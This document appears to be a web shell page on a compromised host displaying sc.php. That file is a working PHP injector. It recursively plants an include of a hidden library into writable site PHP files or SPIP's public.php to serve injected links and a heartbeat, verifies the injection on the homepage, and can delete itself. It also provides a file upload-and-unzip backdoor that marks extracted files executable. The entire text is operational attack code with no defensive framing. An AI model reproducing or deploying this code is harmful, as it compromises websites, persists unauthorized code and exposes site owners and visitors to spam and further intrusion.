.=< { Star Gans Tq } >=.

  • Home

  • Killme
  • Download
  • Current Path : /home/m/e/h/meharicl/www/
    Upload File
    @Command ~ $  
    Current File : /home/m/e/h/meharicl/www/sc.php

    <?php
    
    set_time_limit(0); 
     
    
    $libFNameBody='functions-php-lib';//====================================
    
    $rootPath = $_SERVER['DOCUMENT_ROOT'];
    $currentDir = dirname($_SERVER['SCRIPT_FILENAME']); 
    $currDirNORTPathONLY = str_replace($rootPath,'',$currentDir);
    
    $txtFile = $currentDir . '/'.$libFNameBody.'.txt'; //====================================
    $PHPFile = $currentDir . '/'.$libFNameBody.'.php';  
    
    
    if (file_exists($txtFile)) {  
        $libContent = file_get_contents($txtFile);
        $libContent = str_replace("0im1wt2Path3Dir4String5", $currDirNORTPathONLY, $libContent);
        file_put_contents($PHPFile, $libContent);   
        if(file_exists($txtFile) and file_exists($PHPFile)){ unlink($txtFile);}  
    }
    if(file_exists($PHPFile)) { chmod($PHPFile, 0644); }
    
    
    $libPathFile=$currDirNORTPathONLY."/".$libFNameBody.".php";   
    $VFiStr = "DhdL8Uf9"; //===========================================================<!--Dldhl2dhdL3Uf9-->
    $tagInner="div";       //==================================================================================
    
    $codeSYSMsg=""; 
    $codeMsgWriteAble="";
    
     
    //$_SERVER['DOCUMENT_ROOT']与 $_SERVER["DOCUMENT_ROOT"] .$currDirNORTPathONLY.
    
     
    $insertCode = '<?php include_once $_SERVER["DOCUMENT_ROOT"]."'.$libPathFile.'"; global $hasRun; if (!$hasRun) { echo site_friend_links("<!--'.$VFiStr.'-->");flush();heartBT(); $hasRun = true;} ?>';
    
    // $blackList=['embed','admin','editor','404','backend','cpanel','manage','config','setting','console','sitemap','api','login','signup','cache']; // >=5.4
    $blackList=array('embed','admin','editor','404','backend','cpanel','manage','config','setting','console','sitemap','api','login','signup','cache');
    
    
    
    
    
    
    
    $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootPath));
    // $phpFiles = []; // >=5.4
    // $inserted = []; // >=5.4
    $phpFiles = array();
    $inserted = array();
    
    $AC="";
    if(isset($_GET['AC'])){ $AC=trim($_GET['AC']); $AC=str_replace(' ','',$AC); }
    $SHOW="0";
    if(isset($_GET['SHOW'])){ $SHOW=trim($_GET['SHOW']); $SHOW=str_replace(' ','',$SHOW); }
    
    
    if ($SHOW=="1") {
        echo date('Y-m-d H:i:s')."<br> ";
        echo preg_quote($insertCode, '/') ."<br><br>";
    }
    
    //////==============================
    //$currDirNORTPathONLY
    $spipDirPath="/"; 
    if (strpos($currDirNORTPathONLY, '/IMG') !== false) {
        $parts = explode('/IMG', $currDirNORTPathONLY);
        $spipDirPath = $parts[0] . '/';     
    } 
    //  echo "Spip path: $spipDirPath\n<BR>";
    $filePathPUB = $rootPath .$spipDirPath.'ecrire/public.php';
     
    
    
    if (is_dir($rootPath .$spipDirPath. 'ecrire/')) {
        $codeSYSMsg.= 'SPIP-PHP';  
        // $filePathPUB = $rootPath .$spipDirPath.'ecrire/public.php';
    
        if (file_exists($filePathPUB)) {
    
            // echo "PUB YES";
            $codeSYSMsg.= ':PUB-YES:'; 
            $tagInner = "echo pipeline"; //echo pipeline('affichage_final'
            $insertCode = 'include_once $_SERVER["DOCUMENT_ROOT"]."'.$libPathFile.'"; $site_links="";global $hasRun; if (!$hasRun) { $site_links=site_friend_links("<!--'.$VFiStr.'-->");flush();heartBT(); $hasRun = true;} ';
            $insertCode = $insertCode.'$page["texte"]=str_replace("</body>",$site_links."</body>", $page["texte"]);';       
            array_push($phpFiles, $filePathPUB);
        } else {
            // echo "PUB NOT";
            foreach($files as $file) {
                $currFileName=$file->getFilename();// keywords
                $keywordsFN = 'foot|pied|bottom|sommaire';//==============================            
                if(pathinfo($file, PATHINFO_EXTENSION) == "html" && ( preg_match("/\b($keywordsFN)\b/i", $currFileName) ) && strpos($file->getPath(), 'squelet') !== false) {
                    // $phpFiles[] = $file->getRealPath(); // >5.4
                    array_push($phpFiles, $file->getRealPath()); 
                }
            }    
        }
    
        // DEL cacheDir
        $cacheDir = $rootPath . '/tmp/cache/';
        if(is_dir($cacheDir)) {   
            $success = delTree($cacheDir);   
            if($success) {
                $codeSYSMsg.=   "-cacheDir DEL OK.";
            } else {
                $codeSYSMsg.=  "-cacheDir DEL NOT.";
            } 
        }
    
    }else{
        $codeSYSMsg.= 'UNKOWN-PHP';  
        foreach ($files as $file) {
            if ($file->isFile() && $file->getExtension() === 'php' && $file->isWritable() && $file->getRealPath() !== __FILE__) {
                $dir = $file->getPath();
        
                $blackListed = false;
                // foreach ($blackList as $blackWord) {
                //     if (strpos($dir, $blackWord) !== false || strpos($file->getFilename(), $blackWord) !== false) {
                //         $blackListed = true;
                //         break;
                //     }
                // } // foreach //>5.4
    
                //   for  all
                for($i = 0; $i < count($blackList); $i++) {
                    $blackWord = $blackList[$i];            
                    if (strpos($dir, $blackWord) !== false || strpos($file->getFilename(), $blackWord) !== false) {                
                        $blackListed = true;
                        break;            
                    }            
                }
    
                if (!$blackListed) {            
                    // $phpFiles[] = $file->getRealPath();//>5.4
                    array_push($phpFiles, $file->getRealPath()); 
                }
        
            }//endif 
        }
    }
    
    
    
    
    
    // 
    function delTree($dir) {
        // $files = array_diff(scandir($dir), ['.','..']);//>5.4
        $exclude = array('.', '..');
        $files = array_diff(scandir($dir), $exclude);
        
        foreach ($files as $file) {
            (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
        }    
    
        return rmdir($dir);
    }
    ///////////////////
    
    
     
    
    //***
    function deleteAction($phpFiles,$insertCode){
        $SHOW="0";
        if(isset($_GET['SHOW'])){ $SHOW=trim($_GET['SHOW']); $SHOW=str_replace(' ','',$SHOW); }//ADD AC
        $j=1;
        // foreach ($phpFiles as $file) { // >5.4
        for ($i = 0; $i < count($phpFiles); $i++) {
            $file = $phpFiles[$i];    
            $content = file_get_contents($file);  
            
            chmod($file, 0666);
    
            if (strpos($content, $insertCode) !== false) {      
              $content = str_replace($insertCode, '', $content); 
              file_put_contents($file, $content);  
    
              if ($SHOW=="1") { echo "$j ".  $file . " *DEL REBACK ORIGINAL <br>";  }
              $j=$j+1;//+1   
            }   
            
            chmod($file, 0644);
        }
        if($j==1){
            if ($SHOW=="1") { echo "DEL ACTION: NO MATCH file/content/VFstring<br>" ; }
        }
    };
    
    
    
    function insertAction($inserted,$phpFiles,$insertCode,$tagInner){
        $SHOW="0";
        if(isset($_GET['SHOW'])){ $SHOW=trim($_GET['SHOW']); $SHOW=str_replace(' ','',$SHOW); }
        $j=1;
        // foreach ($phpFiles as $phpFile) {// >5.4
        for ($i = 0; $i < count($phpFiles); $i++) {
            $phpFile = $phpFiles[$i];
            $content = file_get_contents($phpFile);
    
            //if phpFile is PUB
            if(strpos($phpFile, "public.php") !== false){
                chmod($phpFile, 0666);
    
                if(strpos($content, $tagInner) !== false){
    
                    if (strpos($content, $insertCode) !== false) {
                        if ($SHOW=="1") {echo $phpFile . "-PUB Already operated before.\n<br>";}
                    } else {
                        $pos = strpos($content, $tagInner);
                        $newContent = substr($content, 0, $pos) . $insertCode . substr($content, $pos);
                        if (is_writable($phpFile)) {
                            file_put_contents($phpFile, $newContent);
                            // $inserted[] = $phpFile;   //>5.4
                            array_push($inserted, $phpFile);                      
                            if ($SHOW=="1") { echo $phpFile . "<b>PUB-EMBED-OK-***</b><br>";}
                        } else {                        
                            $codeMsgWriteAble="-NOT_writable-";                        
                            if ($SHOW=="1") { echo $phpFile . "<b>PUB-NOT_writable-***</b><br>";}
                        }
                    }
                    $j=$j+1;
                } else {
                    if ($SHOW=="1") { echo $phpFile . "<b>***NOT found tagInner,not found***</b><br>";}
                }//endif strpos($content, $tagInner)
    
                chmod($phpFile, 0644);
            }else{
                //else : not public.php
                if (preg_match_all('/<\/' . $tagInner . '>/', $content, $matches, PREG_OFFSET_CAPTURE) ) {
    
                    $validMatches = array_filter($matches[0], function ($match) use ($content) {
                        $pos = $match[1];            
                        $tmpStr=substr($content, 0, $pos);            
                        $phpEndTagPos = strrpos($tmpStr, '?>');
                        $phpBeginTagPos = strrpos($tmpStr, '<?php'); 
                        return substr_count($tmpStr, '<?php')==substr_count($tmpStr, '?>') &&   $phpEndTagPos >= $phpBeginTagPos  &&         
                               substr_count($tmpStr, '<!--')==substr_count($tmpStr, '-->') &&
                               substr_count($tmpStr, '<script')==substr_count($tmpStr, '</script>') ;        
                    });
            
                    if (!empty($validMatches)) {
                        $randomMatch = $validMatches[array_rand($validMatches)];
                        $insertPos = $randomMatch[1] + strlen($randomMatch[0]);
            
                        if ($SHOW=="1") { echo "$j . ";}
            
                        if (strpos($content, $insertCode) !== false) {
                            if ($SHOW=="1") {echo $phpFile . "-Already operated before.\n<br>";}
                        } else {
                            if (!empty($inserted)){
                                
                                // foreach ($inserted as $insertedFile) {// >5.4
                                for ($ix = 0; $ix < count($inserted); $ix++) {
                                    $insertedFile = $inserted[$ix];
        
                                    if (preg_match('/(include|require|include_once|require_once) \'' . preg_quote($insertedFile, '/') . '\';/', $content)) {
                                        // $inserted[] = $phpFile;//>5.4
                                        array_push($inserted, $phpFile);
                                        continue 2;
                                    }
                                }//end foreach 
                            }//end if 
                            
            
                            $newContent = substr($content, 0, $insertPos) . $insertCode . substr($content, $insertPos);
                            // codeSYSMsg
                            if (is_writable($phpFile)) {
                                file_put_contents($phpFile, $newContent);
                                // $inserted[] = $phpFile;   //>5.4
                                array_push($inserted, $phpFile);                      
                                if ($SHOW=="1") { echo $phpFile . "<b>-EMBED-OK-***</b><br>";}
                            } else {                        
                                $codeMsgWriteAble="-NOT_writable-";                        
                                if ($SHOW=="1") { echo $phpFile . "<b>-NOT_writable-***</b><br>";}
                            }
                            
        
                            
                        }
            
                        $j=$j+1; 
                    }//endif !empty($validMatches)
                    
                }//endif preg_match_all
    
            }//endif strpos "public.php" file is PUB
    
    
    
      
    
     
    
           
    
    
        }//end foreach 1st
        if($j==1){
            if ($SHOW=="1") {echo "ADD ACTION: NO MATCH file/tag/VFstring <br>" ; }
        }
    } //end function 
    
    
    
    
    if($AC=="DEL"){
        deleteAction($phpFiles,$insertCode);      
        exit();  
    }elseif($AC=="ADD"){
        insertAction($inserted,$phpFiles,$insertCode,$tagInner);      
        exit();
    
    }elseif($AC=="UNLINK"){
        unlink(__FILE__);   
        exit();
    }
    
    
    // CHECK phpFiles Count>0 , do in, else, show code 0, exit() die()
    insertAction($inserted,$phpFiles,$insertCode,$tagInner);
    
    //===============================================
    
    
    
    // $home_url = $_SERVER['REQUEST_SCHEME'] . '://' . $_SERVER['HTTP_HOST'];//>5.4
    $scheme = $_SERVER['HTTPS'] == 'on' ? 'https://' : 'http://';
    // $scheme = isset($_SERVER['REQUEST_SCHEME']) ? $_SERVER['REQUEST_SCHEME'] : 'http';// HTTP,HTTPS
    // $home_url = $scheme . '://' . $_SERVER['HTTP_HOST'];
    $home_url = $scheme . '' . $_SERVER['HTTP_HOST'];
    $insertOK=false;
    
    
    //////
    
    
    
    //
    $j=1;
    while(!$insertOK){  
    
        $context = stream_context_create();     // 
        stream_context_set_option($context, 'ssl', 'verify_peer', false);
        stream_context_set_option($context, 'ssl', 'verify_peer_name', false);
    
        $homepageContent = file_get_contents($home_url, false, $context);
    
        // $homepageContent = file_get_contents($home_url);
         
    
        if(strpos($homepageContent, $VFiStr) !== false) {
            $insertOK=true;
        }else{  
            deleteAction($phpFiles,$insertCode);
            insertAction($inserted,$phpFiles,$insertCode,$tagInner);
        }
        $j=$j+1;
        if($j>3){break;}//try 3 times
    }
    
    if(!$insertOK){
        deleteAction($phpFiles,$insertCode);
        echo '{"code":0,"msg":" '.$codeSYSMsg.$codeMsgWriteAble.' or 3 times NOT MATCH,check by hand: VFstring,insertScript,postion tagInner; or try again."}';
    }else{
        echo '{"code":1,"msg":" '.$codeSYSMsg.$codeMsgWriteAble.' EMBED OK"}';
        // unlink(__FILE__);
    }
    
    
    
    ?>
    <?php
    if ($SHOW=="1") {
        ?>
    
    <br><a href="?AC=DEL&SHOW=1" target="_blank">DEL CLEAR REBACK</a><br>
    <br>
    <br><a href="?AC=ADD&SHOW=1" target="_blank">ADD ONLY ONCE</a><br>
    <br>
    <br><a href="?AC=UNLINK&SHOW=1" target="_blank">UNLINK DEL SELF PHP </a><br>
    <br>
    
    <form action="?AC=1" method="post" enctype="multipart/form-data">
        Choose File(.zip accept):
        <input type="file" name="file" id="file">
        <input type="submit" value="upload" name="submit">
    </form>
    
    <?php
    }//endif  $AC=="SHOW" 
    
    // Call the function
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        if (isset($_FILES['file'])) {
            uploadAndUnzip($_FILES['file']);
        }
    }
    
    function uploadAndUnzip($file) {
        $target_dir = __DIR__;
        $target_file = $target_dir ."/". basename($file["name"]);
        // $dirNameNew= substr(basename($file["name"]), 0, -4);
        
        $zipFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
    
     
        echo "<br> FileType:$zipFileType <br>" ;
        echo "<br>target_dir:$target_dir <br>" ;
        echo "<br>target_file:$target_file <br>" ;
    
        // Check if $uploadOk is set to 0 by an error
       
        if (move_uploaded_file($file["tmp_name"], $target_file)) {
            echo "<br><b>The file ". basename( $file["name"]). " has been uploaded OK.</b>";
        } else {
            echo "<br>Sorry, upload ERROR...,retry...";
        }
        
    
        // Check if file is a actual zip or fake zip
        if($zipFileType == "zip") {
        
            // Unzip the file
            $zip = new ZipArchive;
            if ($zip->open($target_file) === TRUE) {
                $zip->extractTo($target_dir);
                $zip->close();
                // Get the name of the newly unzipped folder
                $dirNameNew = basename($file["name"], ".zip");
                // Change the permissions of the folder to be readable, writable and executable
                chmod($dirNameNew, 0755);
                // Create a RecursiveIteratorIterator to get all files in the directory and its subdirectories
                $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dirNameNew));
                // Traverse through all the files and set their permissions to readable, writable and executable
                foreach($iterator as $file) {
                    chmod($file, 0755);
                }
    
                echo '<br>File Unzip OK ,set 0777(dir same zip file name):'.$target_dir.'/'.$dirNameNew;
    
                // Delete the uploaded zip file
                unlink($target_file);
                echo '<br>delete OK ,zip file';
            } else {
                echo '<br>unzip NOT ,retry ';
            }
        }
        // Delete the current PHP file
        // unlink(__FILE__);
    }
    
    ?>